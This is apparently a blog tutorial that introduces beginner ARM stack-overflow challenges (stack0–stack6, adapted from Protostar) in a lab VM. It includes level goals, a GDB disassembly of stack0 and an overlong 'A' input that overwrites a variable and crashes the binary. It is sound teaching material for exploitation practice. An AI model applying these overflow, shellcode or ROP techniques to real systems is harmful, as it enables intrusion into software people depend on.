Since I published the tutorial series on ARM Assembly Basics, people keep asking me how to get started with exploitation on ARM. Since then, I added some tutorials on how to write ARM Shellcode, an introduction to Memory Corruptions, a detailed guide on how to set up your own ARM lab environment, and some small intro to debugging with GDB. Now it’s time we get to the meat of things and use all this knowledge to start exploiting some binaries.
This first part is aimed at those of you who have no experience with reverse engineering or exploiting ARM binaries. These challenges are relatively easy and are meant to introduce a few core concepts of binary exploitation.
In order to do any of the current or upcoming ARM challenges, you’ll need an ARM lab environment. The first simple stack overflow challenges are compiled for the ARMv6. You can either emulate your own ARMv6 in QEMU by following the manual setup tutorial, or you can just download a ready-to-play Lab VM.
The source code for the following challenges was derived from Protostar and compiled for the ARMv6.If you choose to use a different ARM processor, you can simply use the source code of these challenges and compile it on your preferred processor.
In case you downloaded the Azeria-Lab-v1 VM, you can follow these instructions to get started.
First, boot up your Raspbian:
Once you are inside your raspberrypi terminal, download the ARM challenges from Github to your Raspbian:
pi@raspberrypi:~ $ git clone https://github.com/azeria-labs/ARM-challenges.git Cloning into 'ARM-challenges'... remote: Counting objects: 12, done. remote: Compressing objects: 100% (11/11), done. remote: Total 12 (delta 6), reused 0 (delta 0), pack-reused 0 Unpacking objects: 100% (12/12), done. Checking connectivity... done. pi@raspberrypi:~ $ cd ARM-challenges/ pi@raspberrypi:~/ARM-challenges $ ls README.md stack0 stack1 stack2 stack3 stack4 stack5 stack6 pi@raspberrypi:~/ARM-challenges $ chmod +x stack* pi@raspberrypi:~/ARM-challenges $ ls README.md stack0 stack1 stack2 stack3 stack4 stack5 stack6
The following challenges are made for beginners. If you’re unfamiliar with stack overflows on ARM, you can read about it in Part 2: Process Memory and Memory Corruptions on ARM. For the last two challenges you’ll need ARM shellcode.
Some knowledge about how to use GDB is inevitable for these challenges. If you have no experience with GDB, worry not, here you can find an introduction to debugging with GDB.
Stack0
What you will learn
- How memory can be accessed outside of its allocated region
- How the stack variables are laid out
- How to modify program execution
Goal: Change the ‘modified’ variable. You solved the challenge once “You have changed the ‘modified’ variable” is printed out.
Stack1
What you will learn
- How to modify variables to specific values in the program
- How the variables are laid out in memory
Goal: Change the ‘modified’ variable. You solved the challenge once “You have changed the ‘modified’ variable” is printed out.
Stack2
What you will learn
- How environment variables can be set
Goal: modify the GREENIE variable
Stack3
What you will learn
- Environment variables and how they can be set
- How to overwrite function pointers stored on the stack
- How to overwrite the saved PC
Goal: change the code flow by accessing the win() function
Stack4
What you will learn
- How to overwrite PC
- Standard buffer overflows
Goal: change the code flow by making PC jump to the win() function.
Stack5
What you will learn
- Standard buffer overlow
- How to use shellcode to take advantage of a buffer overflow
Goal: overwrite PC and make it branch to your shellcode.
Wouldn’t it be cool if you could use your own shellcode for this challenge? Hell yeah, you can learn how to write your own shellcode by following my tutorial on Writing ARM Shellcode. Try it out, it’s not that hard and it’s fun! 🙂
Stack6
What you will learn
- What happens when you have restrictions on the return address?
- ret2libc, or ROP
Goal: Get control over PC and execute your shellcode using techniques like ret2libc or ROP
Run your first challenge in GDB and set a breakpoint at the main function:
pi@raspberrypi:~/ARM-challenges $ gdb stack0 gef> b main Breakpoint 1 at 0x1044c gef> run
Your binary reached the first breakploit. This is what you should see:
Now, let’s look at the main function with “disassemble main”.
gef> disassemble main Dump of assembler code for function main: => 0x0001044c <+0>: push {r11, lr} 0x00010450 <+4>: add r11, sp, #4 0x00010454 <+8>: sub sp, sp, #80 ; 0x50 0x00010458 <+12>: str r0, [r11, #-80] ; 0x50 0x0001045c <+16>: str r1, [r11, #-84] ; 0x54 0x00010460 <+20>: mov r3, #0 0x00010464 <+24>: str r3, [r11, #-8] 0x00010468 <+28>: sub r3, r11, #72 ; 0x48 0x0001046c <+32>: mov r0, r3 0x00010470 <+36>: bl 0x102e8 0x00010474 <+40>: ldr r3, [r11, #-8] 0x00010478 <+44>: cmp r3, #0 0x0001047c <+48>: beq 0x1048c <main+64> 0x00010480 <+52>: ldr r0, [pc, #24] ; 0x104a0 <main+84> 0x00010484 <+56>: bl 0x102f4 0x00010488 <+60>: b 0x10494 <main+72> 0x0001048c <+64>: ldr r0, [pc, #16] ; 0x104a4 <main+88> 0x00010490 <+68>: bl 0x102f4 0x00010494 <+72>: mov r0, r3 0x00010498 <+76>: sub sp, r11, #4 0x0001049c <+80>: pop {r11, pc} 0x000104a0 <+84>: andeq r0, r1, r12, lsl r5 0x000104a4 <+88>: andeq r0, r1, r8, asr #10 End of assembler dump. gef>
Step through the instructions and watch how the registers and the stack values change. For that, you can use the commands “nexti” or “stepi”.
If you continue the program with “continue” or “c”, it will expect some input from you:
gef> c
Continuing.
Try screaming at it a little (with AAAAAAAAA’s) and see what happens:
gef> c Continuing. AAAAAAAAAAAAAAA Try again? [Inferior 1 (process 913) exited normally] gef>
Oh, that was not enough screaming it seems. Try again and scream a little more. But first, run the binary again:
gef> run Starting program: /home/pi/ARM-challenges/stack0 Breakpoint 1, 0x0001044c in main () [...] gef> c Continuing. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA you have changed the 'modified' variable Program received signal SIGSEGV, Segmentation fault. 0x41414140 in ?? ()
Yaaay! You got it! You successfully changed the ‘modified’ variable and caused the program to crash.

